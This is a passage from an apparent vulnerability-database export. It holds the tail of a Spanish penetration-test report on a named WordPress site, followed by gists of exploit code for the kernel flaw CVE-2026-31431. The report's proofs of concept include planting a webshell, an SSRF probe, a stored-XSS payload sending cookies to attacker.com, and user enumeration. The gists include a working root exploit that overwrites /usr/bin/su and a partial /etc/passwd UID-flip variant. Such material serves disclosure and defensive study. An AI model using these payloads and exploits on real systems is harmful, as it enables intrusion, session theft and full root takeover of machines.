/wp/v2/plugins). El plugin expone una API REST que permite crear snippets PHP que se ejecutan en cada carga de p\u00e1gina. Se cre\u00f3 un snippet con webshell (shell_exec(base64_decode($_GET['c4sh3r']))) que ejecuta comandos arbitrarios como uid=33(www-data).\n        \nPoC\n        \n# Instalar plugin\ncurl -X POST https://columtech.online/index.php?rest_route=/wp/v2/plugins \\\n  -H \"X-WP-Nonce: $NONCE\" -H \"Cookie: $ADMIN_COOKIES\" \\\n  -d '{\"slug\":\"code-snippets\",\"status\":\"active\"}'\n\n# Crear snippet webshell\ncurl -X POST https://columtech.online/index.php?rest_route=/code-snippets/v1/snippets \\\n  -H \"X-WP-Nonce: $NONCE\" \\\n  -d '{\"code\":\"if(isset($_GET[\\\"c4sh3r\\\"])){die(shell_exec(base64_decode($_GET[\\\"c4sh3r\\\"])));}\", \"scope\":\"front-end\",\"active\":true}'\n\n# Ejecutar comando\ncurl \"https://columtech.online/?c4sh3r=$(echo -n 'id' | base64)\"\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n        \nImpacto\n        \n\n          \nEjecuci\u00f3n remota de comandos en el servidor\n          \nLectura de wp-config.php y credenciales de base de datos\n          \nEscritura en /var/www/html (filesystem del host)\n          \nDefacing del sitio completo\n          \nReverse shell interactiva al atacante demostrada\n        \n        \nRemediaci\u00f3n\n        \n# Eliminar plugin Code Snippets y snippet malicioso\n# Revisar y eliminar TODOS los plugins no esenciales\n# Cambiar credenciales admin PRIMERO (ver C-01)\n# Implementar WAF rule para bloquear par\u00e1metros ?c4sh3r=\n      \n    \n\n    \n    \n\n      \n\n        H-01\n        Alto\n        XML-RPC expuesto \u2014 SSRF confirmado + amplificaci\u00f3n de credential testing\n      \n      \n\n        \nDescripci\u00f3n\n        \nxmlrpc.php est\u00e1 habilitado con system.multicall disponible. El m\u00e9todo pingback.ping causa que el servidor realice peticiones HTTP salientes arbitrarias (SSRF). Se confirm\u00f3 que el servidor intenta alcanzar 169.254.169.254 (metadata cloud) y puede escanear puertos internos por diferencia de tiempos.\n        \nPoC\n        \n# SSRF \u2014 servidor hace fetch a URL controlada por atacante\ncurl -X POST https://columtech.online/xmlrpc.php \\\n  -d '<methodCall><methodName>pingback.ping</methodName>\n       <params>\n         <param><value><string>http://169.254.169.254/</string></value></param>\n         <param><value><string>https://columtech.online/?p=1</string></value></param>\n       </params></methodCall>'\n\n# Resultado: 11.3s timeout \u2192 servidor alcanza metadata endpoint\n# Externo (example.com): 1.3s | Interno (localhost:80): 0.3s\n        \nImpacto\n        \n\n          \nSSRF: escaneo de puertos/servicios internos y metadata cloud\n          \nsystem.multicall: amplificaci\u00f3n de credential testing sin generar logs proporcionales\n          \nPingback abuse: DDoS contra terceros usando el servidor como amplificador\n        \n        \nRemediaci\u00f3n\n        \nadd_filter('xmlrpc_enabled', '__return_false');\n# O bloquear en Cloudflare/Caddy si se necesita para Jetpack\n      \n    \n\n    \n    \n\n      \n\n        H-02\n        Alto\n        CVE-2026-6127 \u2014 Elementor 4.0.2 Stored XSS v\u00eda REST API (form-encoded PATCH)\n      \n      \n\n        \nDescripci\u00f3n\n        \nElementor 4.0.2 es vulnerable a CVE-2026-6127 (CVSS 6.4). El campo _elementor_data se registra con show_in_rest sin sanitize_callback. Un atacante con rol Contributor+ puede enviar una petici\u00f3n PATCH form-encoded (no JSON) y la sanitizaci\u00f3n se salta completamente, almacenando JavaScript arbitrario que se ejecuta para cualquier visitante, incluyendo el administrador.\n        \nPoC\n        \ncurl -X PATCH https://columtech.online/index.php?rest_route=/wp/v2/posts/1 \\\n  -H \"Authorization: Basic $(echo -n 'contributor:pass' | base64)\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode 'meta[_elementor_edit_mode]=builder' \\\n  --data-urlencode 'meta[_elementor_data]=[{\"elType\":\"widget\",\"widgetType\":\"html\",\"settings\":{\"html\":\"<svg/onload=fetch(\\\"//attacker.com/\\\"+document.cookie)>\"}}]'\n        \nImpacto\n        \n\n          \nXSS persistente \u2192 robo de session cookies del administrador\n          \nAccount takeover del administrador cuando visita la p\u00e1gina\n          \nCadena hacia defacing y RCE desde XSS (auto-crear admin v\u00eda fetch)\n        \n        \nRemediaci\u00f3n\n        \n# Actualizar Elementor a \u2265 4.0.5\n# Workaround: restringir rol Contributor a usuarios de confianza\n      \n    \n\n    \n    \n\n      \n\n        H-03\n        Alto\n        Enumeraci\u00f3n de usuarios admin por 4 v\u00edas sin rate-limit\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl username del administrador (marce) se obtiene por al menos 4 m\u00e9todos distintos, ninguno protegido por rate-limit ni captcha:\n        \nPoC\n        \n# M\u00e9todo 1: REST API bypass del filtro de Caddy\ncurl \"https://columtech.online/index.php?rest_route=/wp/v2/users\"\n# [{\"id\":1,\"slug\":\"marce\",...},{\"id\":2,\"slug\":\"prueba\",...}]\n\n# M\u00e9todo 2: author redirect\ncurl -I \"https://columtech.online/?author=1\"\n# 301 \u2192 /author/marce/\n\n# M\u00e9todo 3: wp-login oracle (respuesta diferente seg\u00fan usuario)\n# v\u00e1lido: \"la contrase\u00f1a que has introducido para marce no es correcta\"\n# inv\u00e1lido: \"El nombre de usuario nope123 no est\u00e1 registrado\"\n\n# M\u00e9todo 4: lostpassword oracle\n# v\u00e1lido: \"no se pudo enviar el correo electr\u00f3nico\" (usuario S\u00cd existe)\n# inv\u00e1lido: \"no hay ninguna cuenta con ese nombre de usuario\"\n        \nRemediaci\u00f3n\n        \n# Restringir REST users a autenticados:\nadd_filter('rest_endpoints', function($ep){\n    if(isset($ep['/wp/v2/users'])) unset($ep['/wp/v2/users']);\n    return $ep;\n});\n# Unificar mensajes de error de wp-login y lostpassword\n# Bloquear ?author= redirect\n      \n    \n\n    \n    \n\n      \n\n        H-04\n        Alto\n        Nonce de plugin Filevue expuesto en REST API sin autenticaci\u00f3n\n      \n      \n\n        \nDescripci\u00f3n\n        \nLa p\u00e1gina \u00abClient Portal\u00bb (ID=7) contiene el formulario de login del plugin Filevue con un nonce WordPress (_wpnonce) embebido en el HTML renderizado. Este HTML es devuelto por la REST API GET /wp/v2/pages/7 sin autenticaci\u00f3n, exponiendo el nonce a cualquier atacante.\n        \nPoC\n        \ncurl \"https://columtech.online/index.php?rest_route=/wp/v2/pages/7\" | \\\n  grep -o '_wpnonce\" value=\"[^\"]*\"'\n# _wpnonce\" value=\"ecd04e0712\"\n\n# El nonce permite enviar peticiones autenticadas a admin-post.php\n# sin estar logueado \u2014 usado para probar SQLi en filevue_client_login\n        \nRemediaci\u00f3n\n        \n# No embeber nonces en contenido REST p\u00fablico\n# Restringir /wp/v2/pages a usuarios autenticados o excluir p\u00e1gina Client Portal\n# Generar nonce en el lado cliente (JS) tras autenticaci\u00f3n\n      \n    \n\n    \n    \n\n      \n\n        M-01\n        Medio\n        Versiones desactualizadas \u2014 WordPress 7.0 / Elementor 4.0.2 / Apache 2.4.66\n      \n      \n\n        \nDescripci\u00f3n\n        \nElementor 4.0.2 es vulnerable a CVE-2026-6127 (parcheado en 4.0.5). Apache 2.4.66 es vulnerable a CVE-2026-23918 (RCE HTTP/2) y CVE-2026-24072 (read bypass via htaccess), ambos parcheados en 2.4.67. El meta generator expone versiones exactas.\n        \nRemediaci\u00f3n\n        \n# Actualizar Elementor: wp plugin update elementor\n# Actualizar Apache: apt-get upgrade apache2\n# Eliminar generator meta:\nremove_action('wp_head', 'wp_generator');\n# Eliminar readme.html y license.txt del webroot\n      \n    \n\n    \n    \n\n      \n\n        M-02\n        Medio\n        Email de usuario deducible por reverse Gravatar SHA-256\n      \n      \n\n        \nDescripci\u00f3n\n        \nLas URLs de avatar Gravatar incluyen el hash SHA-256 del email normalizado del usuario. El email de la cuenta prueba (prueba@gmail.com) fue deducido probando candidatos comunes contra el hash expuesto p\u00fablicamente en GET /wp/v2/users/2.\n        \nPoC\n        \nimport hashlib\nhash_target = \"913ef45dd4e1f647359a846bca8bffb8d25b22f2a79d34d71c9c90ef0eb53024\"\nfor email in [\"prueba@gmail.com\", ...]:\n    if hashlib.sha256(email.encode()).hexdigest() == hash_target:\n        print(\"MATCH:\", email)\n# MATCH: prueba@gmail.com\n        \nRemediaci\u00f3n\n        \n# Desactivar Gravatar en WordPress (usar avatar local)\n# O usar un email que no sea predecible para cuentas sensibles\n      \n    \n\n    \n    \n\n      \n\n        M-03\n        Medio\n        Recuperaci\u00f3n de contrase\u00f1a rota + oracle de usuario\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl formulario de recuperaci\u00f3n de contrase\u00f1a falla con el error \u00abno se pudo enviar el correo electr\u00f3nico\u00bb para usuarios v\u00e1lidos, y \u00abno hay ninguna cuenta\u00bb para usuarios inexistentes. Esto act\u00faa como or\u00e1culo de enumeraci\u00f3n. Adem\u00e1s, el correo no se env\u00eda, por lo que el reset es inoperable \u2014 impacto en disponibilidad y posible vector de host-header injection si se configura SMTP en el futuro.\n        \nRemediaci\u00f3n\n        \n# 1. Configurar SMTP (WP Mail SMTP o Mailgun)\n# 2. Unificar mensaje de error (no revelar si usuario existe)\n# 3. Fijar siteurl y home en wp-config.php para prevenir host-header injection\ndefine('WP_SITEURL', 'https://www.columtech.online');\ndefine('WP_HOME', 'https://www.columtech.online');\n      \n    \n\n    \n    \n\n      \n\n        M-04\n        Medio\n        wp-cron.php accesible p\u00fablicamente\n      \n      \n\n        \nDescripci\u00f3n\n        \nwp-cron.php devuelve HTTP 200 y puede ser llamado externamente. Permite amplificar la carga del servidor llam\u00e1ndolo en bucle, actuando como vector de DoS.\n        \nRemediaci\u00f3n\n        \n# En wp-config.php:\ndefine('DISABLE_WP_CRON', true);\n# En crontab del servidor:\n*/5 * * * * curl -s https://www.columtech.online/wp-cron.php?doing_wp_cron=1 >/dev/null\n      \n    \n\n    \n    \n\n      \n\n        L-01\n        Bajo\n        Cabeceras de seguridad HTTP ausentes\n      \n      \n\n        \nDescripci\u00f3n\n        \nFaltan Strict-Transport-Security (HSTS), X-Content-Type-Options: nosniff y Permissions-Policy. La CSP solo cubre frame-ancestors 'self'.\n        \nRemediaci\u00f3n\n        \n# En Caddy (Caddyfile):\nheader Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\"\nheader X-Content-Type-Options \"nosniff\"\nheader Permissions-Policy \"geolocation=(), microphone=(), camera=()\"\n      \n    \n\n    \n    \n\n      \n\n        L-02\n        Bajo\n        Divulgaci\u00f3n de origen Apache y versi\u00f3n en p\u00e1ginas 404\n      \n      \n\n        \nDescripci\u00f3n\n        \nLas p\u00e1ginas 404 generadas por Apache revelan: Apache/2.4.66 (Debian) Server at www.columtech.online Port 80 \u2014 versi\u00f3n exacta, distribuci\u00f3n y que escucha en puerto 80 sin TLS.\n        \nRemediaci\u00f3n\n        \n# En apache2.conf:\nServerTokens Prod\nServerSignature Off\n      \n    \n\n    \n    \n\n      \n\n        L-03\n        Bajo\n        readme.html accesible \u2014 divulgaci\u00f3n de versi\u00f3n WordPress\n      \n      \n\n        \nDescripci\u00f3n\n        \n/readme.html devuelve HTTP 200 y revela la versi\u00f3n exacta de WordPress. Facilita targeting con CVEs de versi\u00f3n espec\u00edfica.\n        \nRemediaci\u00f3n\n        \nrm /var/www/html/readme.html /var/www/html/license.txt\n      \n    \n\n    \n    \n\n      \n\n        L-04\n        Bajo\n        CVE-2026-24072 Apache 2.4.66 \u2014 htaccess mod_rewrite file read\n      \n      \n\n        \nDescripci\u00f3n\n        \nApache 2.4.66 es vulnerable a CVE-2026-24072: un usuario con acceso de escritura a .htaccess puede leer ficheros fuera de su directorio con los privilegios del proceso httpd. En este caso, www-data ya tiene ese acceso, pero el vector es relevante en escenarios multiusuario.\n        \nRemediaci\u00f3n\n        \n# Actualizar Apache a 2.4.67+\napt-get upgrade apache2\n      \n    \n\n    \n    \n\n      \n\n        I-01\n        Info\n        Hardening de contenedor Docker \u2014 seccomp + AppArmor + ptrace_scope=3\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl contenedor Docker presenta un perfil de hardening excepcional que bloque\u00f3 todos los CVEs de escalada de privilegios probados (12 t\u00e9cnicas distintas). Los syscalls AF_ALG, CLONE_NEWUSER, io_uring_setup y pidfd_getfd est\u00e1n bloqueados por seccomp. AppArmor docker-default bloquea escrituras a ficheros de sistema. ptrace_scope=3 impide toda inspecci\u00f3n de procesos. Este es el nivel de hardening correcto para workloads en producci\u00f3n.\n        \nCVEs probados y bloqueados\n        \nCVE-2026-31431 (Copy Fail)     \u2192 AF_ALG bloqueado por seccomp\nCVE-2026-43284 (Dirty Frag)    \u2192 CLONE_NEWUSER bloqueado\nCVE-2026-46300 (Fragnesia)     \u2192 CLONE_NEWUSER bloqueado\nCVE-2026-46333 (ssh-keysign)   \u2192 pidfd_getfd bloqueado\nio_uring exploits              \u2192 io_uring_setup bloqueado\nGameOver(lay)                  \u2192 CLONE_NEWUSER bloqueado\nCrackArmor                     \u2192 AppArmor FS inaccesible en container\nCVE-2026-27456 (mount TOCTOU)  \u2192 Sin /etc/fstab user,loop entries\ngpasswd shadow attack          \u2192 AppArmor bloquea escritura /etc/gshadow\n      \n    \n\n    \n    \n\n      \n\n        I-02\n        Info\n        Credenciales DB en texto claro en variables de entorno del container\n      \n      \n\n        \nDescripci\u00f3n\n        \nLas credenciales de MySQL est\u00e1n accesibles en texto claro v\u00eda /proc/self/environ para cualquier proceso del container (incluyendo www-data tras RCE):\n        \nWORDPRESS_DB_HOST=wordpress_db:3306\nWORDPRESS_DB_USER=wp_user\nWORDPRESS_DB_PASSWORD=wp_password\nWORDPRESS_DB_NAME=wordpress\n        \nRemediaci\u00f3n\n        \n# Usar Docker secrets en lugar de env vars para credenciales\n# O montar fichero de config encriptado desde un secrets manager\n      \n    \n\n    \n    \n\n      \n\n        I-03\n        Info\n        Kernel 6.8.0-117 vulnerable a CVE-2026-46333 (bloqueado por seccomp)\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl kernel 6.8.0-117-generic (compilado el 5 Mayo 2026) es anterior al fix de CVE-2026-46333 (publicado el 14 Mayo 2026). La vulnerabilidad permite leer /etc/shadow mediante una race condition en __ptrace_may_access() + pidfd_getfd. El seccomp del container bloquea el syscall pidfd_getfd (438), mitigando completamente el exploit. Se verific\u00f3 que el exploit p\u00fablico fall\u00f3 con \u00abno hit in 500 rounds\u00bb.\n        \nRemediaci\u00f3n\n        \n# Actualizar el kernel del host cuando est\u00e9 disponible el parche\n# El seccomp profile actual ya protege contra este CVE\n      \n    \n\n  \n\n  \n\n    \nPlan de Remediaci\u00f3n \u00b7 Prioridad\n    \n\n      HOY (cr\u00edtico): Cambiar contrase\u00f1a de marce (m\u00ednimo 20 chars). Eliminar wp-loginizer.php, 2ops.php y todos los ficheros de auditor\u00eda del webroot. Desactivar XML-RPC. Eliminar plugin Code Snippets y el snippet malicioso.\n    \n    \n\n      Esta semana: Actualizar Elementor a \u2265 4.0.5 (parchea CVE-2026-6127). Actualizar Apache a 2.4.67 (parchea CVE-2026-23918 y CVE-2026-24072). Auditar todos los archivos PHP modificados en los \u00faltimos 90 d\u00edas. Configurar SMTP y unificar mensajes de error de wp-login. Restringir REST API users a autenticados. A\u00f1adir cabeceras de seguridad HTTP.\n    \n    \n\n      Este mes: Implementar 2FA para el panel de administraci\u00f3n. Migrar credenciales DB a Docker secrets. Configurar DISABLE_WP_CRON y cron real del sistema. Implementar WAF en Cloudflare para xmlrpc.php y ?author=. Eliminar readme.html y establecer ServerTokens Prod.\n    \n  \n\n  \n\n    \nAnexo \u00b7 Comandos de verificaci\u00f3n post-remediaci\u00f3n\n    \nEjecutar estos comandos tras aplicar las correcciones para confirmar que los vectores est\u00e1n cerrados:\n    \n# C-01: XML-RPC deshabilitado\ncurl -s -X POST https://columtech.online/xmlrpc.php | grep -c \"XML-RPC server accepts\"\n# Esperado: 0\n\n# C-02: Webshells eliminadas\ncurl -o /dev/null -w \"%{http_code}\" https://columtech.online/wp-loginizer.php\n# Esperado: 404\n\n# H-03: REST users requiere autenticaci\u00f3n\ncurl -s https://columtech.online/index.php?rest_route=/wp/v2/users | jq '.code'\n# Esperado: \"rest_forbidden\"\n\n# H-03: ?author= no revela usuario\ncurl -s -o /dev/null -w \"%{redirect_url}\" \"https://columtech.online/?author=1\"\n# Esperado: vac\u00edo o URL sin slug de usuario\n\n# L-01: HSTS presente\ncurl -sI https://columtech.online/ | grep -i strict-transport\n# Esperado: Strict-Transport-Security: max-age=...\n\n# L-03: readme.html eliminado\ncurl -o /dev/null -w \"%{http_code}\" https://columtech.online/readme.html\n# Esperado: 404\n  \n\n\n\n\n\n  Auditor\u00eda realizada por c4sh3r \u00b7 Reporte generado el 2026-06-04\n  Todos los hallazgos fueron verificados en entorno real con autorizaci\u00f3n del propietario. Las pruebas de escritura (defacing, webshells) fueron limpiadas inmediatamente tras la verificaci\u00f3n. PII real redactada.\n\n\n\n\n", "creation_timestamp": "2026-06-03T23:46:41.000000Z"}, {"uuid": "eeea1d39-2102-4e2c-bf7f-42510e37beec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/spynika/e452783668ff5a7a3dc4cc036d3f9463", "content": "/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */\n/*\n * Copy Fail -- CVE-2026-31431\n * Vulnerability checker.\n *\n * Detects whether the running kernel is susceptible to the AF_ALG/splice\n * page-cache mutation primitive used by exploit.c and exploit-passwd.c,\n * without touching any system file. Creates a local \"testfile\" in the\n * working directory containing the string \"init\", then runs the same\n * patch_chunk() primitive against its page cache to attempt to overwrite\n * the bytes with \"vulnerable\". Reads back to confirm whether the\n * mutation took.\n *\n * The on-disk inode is never modified; the testfile is removed on exit,\n * and the page-cache mutation evaporates with it. Runs unprivileged.\n *\n * Exit codes:\n *   100 - kernel is vulnerable\n *   0   - kernel is not vulnerable (primitive ran but mutation did not take)\n *   2   - AF_ALG socket family or authencesn template is unavailable;\n *         patch state cannot be determined from this test\n *   1   - other runtime error\n */\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n\n#include \"utils.h\"\n\nstatic const char PAYLOAD[] = \"vulnerable\";\n#define PAYLOAD_LEN (sizeof PAYLOAD - 1)\n\nstatic int check_file(const char *filename) {\n    int fd = open(filename, O_RDONLY);\n    if (fd < 0) return 0;\n    printf(\"content of %s fd=%d ---\\n\", filename, fd);\n    char buf[256];\n    ssize_t total = read(fd, buf, sizeof buf);\n    if (total > 0)\n        write(STDOUT_FILENO, buf, total);\n    close(fd);\n    printf(\"\\n---\\n\");\n    return total >= (ssize_t)PAYLOAD_LEN &&\n           memcmp(buf, PAYLOAD, PAYLOAD_LEN) == 0;\n}\n\nstatic void init_file(const char *filename) {\n    static const char init_buf[32] = \"init\";\n    int fd = open(filename, O_RDWR | O_CREAT | O_TRUNC, 0644);\n    if (fd < 0) {\n        fprintf(stderr, \"open(%s): %s\\n\", filename, strerror(errno));\n        exit(1);\n    }\n    write(fd, init_buf, sizeof init_buf);\n    close(fd);\n}\n\nint main(int argc, char **argv) {\n    (void)argc; (void)argv;\n    const char *target = \"testfile\";\n\n    init_file(target);\n    sync();\n    check_file(target);\n\n    int file_fd = open(target, O_RDONLY);\n    if (file_fd < 0) {\n        fprintf(stderr, \"open(%s): %s\\n\", target, strerror(errno));\n        unlink(target);\n        return 1;\n    }\n\n    size_t iters = (PAYLOAD_LEN + 3) / 4;\n\n    fprintf(stderr, \"[+] target:    %s\\n\", target);\n    fprintf(stderr, \"[+] payload:   %zu bytes (%zu iterations)\\n\",\n            PAYLOAD_LEN, iters);\n\n    /* Walk the payload in 4-byte windows. window[] is 5 bytes so the\n     * trailing zero acts as a NUL terminator for the %s log below. */\n    for (off_t off = 0; (size_t)off < PAYLOAD_LEN; off += 4) {\n        unsigned char window[5] = { 0, 0, 0, 0, 0 };\n        size_t take = (PAYLOAD_LEN - (size_t)off >= 4)\n                      ? 4 : PAYLOAD_LEN - (size_t)off;\n        memcpy(window, PAYLOAD + off, take);\n\n        fprintf(stderr, \"[+] patch fd=%d off=%lld bytes=\\\"%s\\\"\\n\",\n                file_fd, (long long)off, window);\n        if (patch_chunk(file_fd, off, window) < 0) {\n            int ret;\n            if (errno == EAFNOSUPPORT) {\n                fprintf(stderr,\n                        \"[?] AF_ALG socket family unavailable; kernel patch \"\n                        \"state cannot be determined from this test\\n\");\n                ret = 2;\n            } else if (errno == ENOENT) {\n                fprintf(stderr,\n                        \"[?] AF_ALG authencesn template not registered; \"\n                        \"kernel patch state cannot be determined from this \"\n                        \"test\\n\");\n                ret = 2;\n            } else {\n                fprintf(stderr, \"[-] patch_chunk failed at offset %lld\\n\",\n                        (long long)off);\n                ret = 1;\n            }\n\n            close(file_fd);\n            unlink(target);\n            return ret;\n        }\n        fprintf(stderr, \"[+] patch ok\\n\");\n    }\n\n    close(file_fd);\n\n    fprintf(stderr, \"[+] page cache mutated\\n\");\n\n    int vulnerable = check_file(target);\n    unlink(target);\n\n    if (vulnerable) {\n        fprintf(stderr, \"[!] VULNERABLE\\n\");\n        return 100;\n    }\n\n    fprintf(stderr, \"[+] not vulnerable :)\\n\");\n    return 0;\n}", "creation_timestamp": "2026-06-04T07:22:41.000000Z"}, {"uuid": "443a0012-c304-40bd-906e-b2279a829e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/spynika/f39604e6aca8dd619921a78875622691", "content": "/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */\n/*\n * Copy Fail -- CVE-2026-31431\n * AF_ALG + splice() page-cache-mutation LPE proof-of-concept.\n *\n * Cross-platform C proof-of-concept by Tony Gies .\n *\n * Disclosed 2026-04-29 by Theori / Xint. Canonical writeup: https://copy.fail/\n *\n * Mechanism:\n *   For each 4-byte window of the embedded static-ELF payload (built from\n *   payload.c, embedded via `ld -r -b binary` -- see Makefile), runs one\n *   bogus AEAD-decrypt through AF_ALG whose ciphertext input is supplied\n *   via splice() from /usr/bin/su's page-cache pages. The authencesn\n *   template's in-place optimization treats the splice'd source pages as\n *   both ciphertext input and plaintext destination, so the (failing)\n *   decrypt has already overwritten 4 bytes of the page-cache page by\n *   the time auth verification rejects the request. Walking 4 bytes at\n *   a time across the payload deterministically writes the entire blob\n *   into the cached image of /usr/bin/su. execve() of the target loads\n *   the (mutated) cached pages; the unchanged on-disk inode is still\n *   setuid root, so the kernel hands the payload root creds; payload\n *   pivots into a real root shell.\n *\n * Affected kernels:\n *   floor:   torvalds/linux 72548b093ee3 (Aug 2017, 4.14, AF_ALG iov_iter\n *            rework that introduced the file-page write primitive)\n *   ceiling: torvalds/linux a664bf3d603d (Apr 2026, reverts the 2017\n *            algif_aead in-place optimization; separates src/dst\n *            scatterlists so page-cache pages can no longer be a writable\n *            crypto destination)\n *   in between: every Ubuntu, RHEL, SUSE, Amazon Linux, Debian etc.\n *   distro kernel that didn't backport the fix.\n *\n * Build: see Makefile. (`make` in this directory.)\n */\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n\n#include \n\n#include \"utils.h\"\n\n/* Symbols synthesized by `ld -r -b binary -o payload.o payload`. */\nextern const unsigned char _binary_payload_start[];\nextern const unsigned char _binary_payload_end[];\n#define PAYLOAD       (_binary_payload_start)\n#define PAYLOAD_LEN   ((size_t)(_binary_payload_end - _binary_payload_start))\n\nint main(int argc, char **argv) {\n    const char *target = (argc > 1) ? argv[1] : \"/usr/bin/su\";\n\n    int file_fd = open(target, O_RDONLY);\n    if (file_fd < 0) {\n        fprintf(stderr, \"open(%s): %s\\n\", target, strerror(errno));\n        return 1;\n    }\n\n    size_t len = PAYLOAD_LEN;\n    size_t iters = (len + 3) / 4;\n\n    fprintf(stderr, \"[+] target:    %s\\n\", target);\n    fprintf(stderr, \"[+] payload:   %zu bytes (%zu iterations)\\n\", len, iters);\n\n    /* Walk the embedded payload in 4-byte windows. Last window is zero-\n     * padded if PAYLOAD_LEN isn't a multiple of 4 (the extra bytes simply\n     * land past end-of-payload in the page-cache page; harmless). */\n    for (off_t off = 0; (size_t)off < len; off += 4) {\n        unsigned char window[4] = { 0, 0, 0, 0 };\n        size_t take = (len - (size_t)off >= 4) ? 4 : len - (size_t)off;\n        memcpy(window, PAYLOAD + off, take);\n\n        if (patch_chunk(file_fd, off, window) < 0) {\n            fprintf(stderr, \"patch_chunk failed at offset %lld\\n\",\n                    (long long)off);\n            return 1;\n        }\n    }\n\n    close(file_fd);\n\n    fprintf(stderr, \"[+] page cache mutated; exec'ing target\\n\");\n    execl(\"/bin/sh\", \"sh\", \"-c\", \"su\", (char *)NULL);\n    perror(\"execl\");\n    return 1;\n}", "creation_timestamp": "2026-06-04T07:19:08.000000Z"}, {"uuid": "50f046f9-7d39-4209-af7a-ce35b111426d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/spynika/5a7493888e350d8c96772bff995cef0f", "content": "/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */\n/*\n * Copy Fail -- CVE-2026-31431 -- /etc/passwd UID-flip variant.\n *\n * Mutates /etc/passwd's page cache to set the running user's UID field\n * to \"0000\", then execs `su `. PAM authenticates against\n * /etc/shadow (untouched) using the user's real password; on success,\n * su's setuid() reads the corrupted /etc/passwd from the page cache and\n * lands in a root shell.\n *\n * Compared to exploit.c (the binary-mutation variant), this works on\n * any system where /etc/passwd is world-readable (every standard Linux\n * system) including environments that harden setuid binaries against\n * unprivileged read access.\n *\n */\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n\n#include \"utils.h\"\n\n/* Find the byte offset of the UID field for `username` in /etc/passwd.\n * Returns -1 on error or if the user is not found. */\nstatic off_t find_uid_offset(const char *username) {\n    int fd = open(\"/etc/passwd\", O_RDONLY);\n    if (fd < 0) { perror(\"open(/etc/passwd)\"); return -1; }\n\n    char buf[65536];\n    ssize_t n = read(fd, buf, sizeof buf - 1);\n    close(fd);\n    if (n <= 0) { perror(\"read(/etc/passwd)\"); return -1; }\n    buf[n] = '\\0';\n\n    size_t namelen = strlen(username);\n    char *line = buf;\n    while (line < buf + n) {\n        char *eol = memchr(line, '\\n', (buf + n) - line);\n        size_t linelen = eol ? (size_t)(eol - line) : (size_t)((buf + n) - line);\n\n        if (linelen > namelen + 1 &&\n            memcmp(line, username, namelen) == 0 &&\n            line[namelen] == ':') {\n            /* line: name:x:UID:GID:gecos:home:shell */\n            char *colon1 = memchr(line,            ':', linelen);\n            if (!colon1) break;\n            char *colon2 = memchr(colon1 + 1, ':', linelen - (size_t)(colon1 + 1 - line));\n            if (!colon2) break;\n            return (off_t)((colon2 + 1) - buf);\n        }\n        if (!eol) break;\n        line = eol + 1;\n    }\n\n    fprintf(stderr, \"[-] could not find user %s in /etc/passwd\\n\", username);\n    return -1;\n}\n\nint main(void) {\n    uid_t uid = getuid();\n    struct passwd *pw = getpwuid(uid);\n    if (!pw) { perror(\"getpwuid\"); return 1; }\n\n    fprintf(stderr, \"[+] user:    %s (uid=%u)\\n\", pw->pw_name, uid);\n\n    off_t uid_offset = find_uid_offset(pw->pw_name);\n    if (uid_offset < 0) return 1;\n\n    fprintf(stderr, \"[+] /etc/passwd UID field at offset %lld\\n\",\n            (long long)uid_offset);\n\n\n    int fd = open(\"/etc/passwd\", O_RDONLY);\n    if (fd < 0) { perror(\"open(/etc/passwd)\"); return 1; }\n    \n    /* Read up to 10 digits starting at uid_offset to find the field length. */\n    char fieldbuf[12] = { 0 };\n    ssize_t nr = pread(fd, fieldbuf, sizeof fieldbuf - 1, uid_offset);\n    if (nr < 1) { perror(\"pread\"); close(fd); return 1; }\n\n    /* Find length of the existing UID field (up to next ':') */\n    int old_uid_len = 0;\n    while (old_uid_len < nr && fieldbuf[old_uid_len] != ':')\n        old_uid_len++;\n\n    if (old_uid_len == 0 || old_uid_len > 10) {\n        fprintf(stderr, \"[-] could not determine UID field length\\n\");\n        close(fd); return 1;\n    }\n\n    /* Left-pad old_uid_len.\n     * /etc/passwd allows leading zeros so 0000 is uid 0. */\n    char padded[11];\n    memset(padded, '0', old_uid_len);\n    padded[old_uid_len] = '\\0';\n\n    fprintf(stderr, \"[+] old field: \\\"%.*s\\\" (%d bytes), new field: \\\"%s\\\" (%d bytes)\\n\",\n            old_uid_len, fieldbuf, old_uid_len, padded, old_uid_len);\n\n    /* New sanity check: verify the existing field matches getuid() to avoid corrupting /etc/passwd */\n    char expected[11];\n    snprintf(expected, sizeof expected, \"%u\", uid);\n    int expected_len = (int)strlen(expected);\n    if (old_uid_len < expected_len ||\n        memcmp(fieldbuf + old_uid_len - expected_len, expected, expected_len) != 0) {\n        fprintf(stderr,\n                \"[-] sanity check failed: field \\\"%.*s\\\" doesn't end with \"\n                \"expected uid \\\"%s\\\"\\n\",\n                old_uid_len, fieldbuf, expected);\n        close(fd); return 1;\n    }\n    fprintf(stderr, \"[+] sanity check ok\\n\");\n\n    /* Patch in 4-byte chunks. Read-modify-write for the final chunk if partial */\n    for (int off = 0; off < old_uid_len; off += 4) {\n        unsigned char chunk[4];\n        int n = old_uid_len - off < 4 ? old_uid_len - off : 4;\n\n        if (n < 4 && pread(fd, chunk, 4, uid_offset + off) != 4) {\n            perror(\"pread on final chunk\");\n            close(fd); return 1;\n        }\n        memcpy(chunk, padded + off, n);\n\n        if 